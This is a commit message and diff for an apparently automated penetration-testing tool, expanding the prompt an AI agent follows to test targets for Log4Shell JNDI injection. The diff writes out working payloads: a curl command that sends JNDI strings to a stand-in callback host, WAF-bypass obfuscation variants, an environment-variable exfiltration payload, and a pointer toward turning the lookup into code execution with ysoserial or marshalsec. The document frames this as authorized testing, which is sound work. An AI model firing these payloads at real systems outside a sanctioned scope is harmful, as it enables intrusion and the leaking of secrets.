feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/log4shell_jndi.md

@@ -6,18 +6,39 @@ You are testing **{target}** for Log4Shell-style JNDI lookup injection.
 **Recon Context:**
 {recon_json}
 
-**METHODOLOGY:**
+**METHODOLOGY — a finding requires an OOB callback tied to your unique marker; no callback = no finding:**
 
-### 1. Spray markers
-- Inject `${jndi:ldap://collab/{{marker}}}` into headers (User-Agent, X-Forwarded-For), params, fields
+### 1. Stand up an OOB listener with per-hit correlation
+- Use `interactsh-client` (interactsh) or Burp Collaborator; each payload embeds a unique subdomain marker so you know WHICH input reflected.
+- Prefer DNS first (fires even when egress blocks LDAP): `${jndi:dns://<marker>.oob}`.
 
-### 2. Watch OOB
-- Monitor DNS/LDAP collaborator for callbacks identifying the injection point
+### 2. Spray the marker across every logged surface
+- Headers most-logged: `User-Agent`, `X-Forwarded-For`, `X-Api-Version`, `Referer`, `Accept-Language`, `X-Forwarded-Host`, `Cookie`, `Authorization`.
+- Params/fields: `username` (logged on failed login), search queries, any field echoed into logs, JSON bodies, file names.
+- Give each surface its own marker: e.g. UA → `${jndi:ldap://ua-<nonce>.oob/a}`, XFF → `${jndi:ldap://xff-<nonce>.oob/a}` — so the callback pinpoints the injection point.
+- Example: `curl -s {target}/login -H 'User-Agent: ${jndi:ldap://ua-<nonce>.oob/a}' --data 'username=${jndi:dns://user-<nonce>.oob}'`.
 
-### 3. Confirm
-- Confirm an OOB JNDI callback tied to your marker
+### 3. WAF/normalizer bypass variants (rotate if plain form is filtered)
+- `${${lower:j}ndi:${lower:l}dap://<nonce>.oob/a}`
+- `${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<nonce>.oob/a}`
+- `${jndi:${lower:d}ns://<nonce>.oob}` (DNS-only, no LDAP egress needed)
+- Nested `${env:BARFOO:-${jndi:...}}` style to slip past keyword filters.
 
-### 4. Report Format
+### 4. Watch OOB and confirm
+- A DNS or LDAP hit on `<nonce>.oob` proves the string was interpolated by a vulnerable lookup and the marker maps it to the exact input.
+- Data-exfil upgrade (still benign, proves severity, not destructive): `${jndi:ldap://<nonce>.oob/${env:USER}}` or `${sys:java.version}` — the callback subdomain leaks the value.
+- Record: the raw request with the payload AND the raw callback log line with the matching nonce.
+
+### 5. False positives / pitfalls
+- A callback from your own scanner/browser prefetch, or a corporate DNS resolver, can look like a hit — correlate the nonce and the timing to YOUR request.
+- WAF blocking the plain payload but a bypass variant firing = still vulnerable; the plain-form 403 alone is not "safe".
+- No callback after all surfaces + bypass variants = do NOT report; Log4Shell is speculative without OOB proof.
+
+### 6. Chaining hooks
+- Confirmed JNDI reach → hand to the deserialization/RCE chain: stand up a malicious LDAP/JRMP server to deliver a gadget (`ysoserial`/`marshalsec`) and turn the lookup into code execution — only within ROE, benign command first (`id`/OOB).
+- Leaked `${env:...}` values → credential/cloud agents.
+
+### 7. Report Format
 For each CONFIRMED finding:
 ```
 FINDING:
@@ -33,4 +54,4 @@ FINDING:
 ```
 
 ## System Prompt
-You are a JNDI-injection specialist. Report only when an OOB callback (DNS/LDAP) tied to your unique marker is received. No callback means no finding.
+You are a JNDI-injection specialist. Report only when an OOB callback (DNS/LDAP) tied to your unique per-input marker is received and correlated to your request. No callback means no finding — do not infer from a WAF block or a 500. Rotate bypass variants before concluding "safe". Keep any RCE upgrade benign (a single `id`/OOB) and strictly in ROE.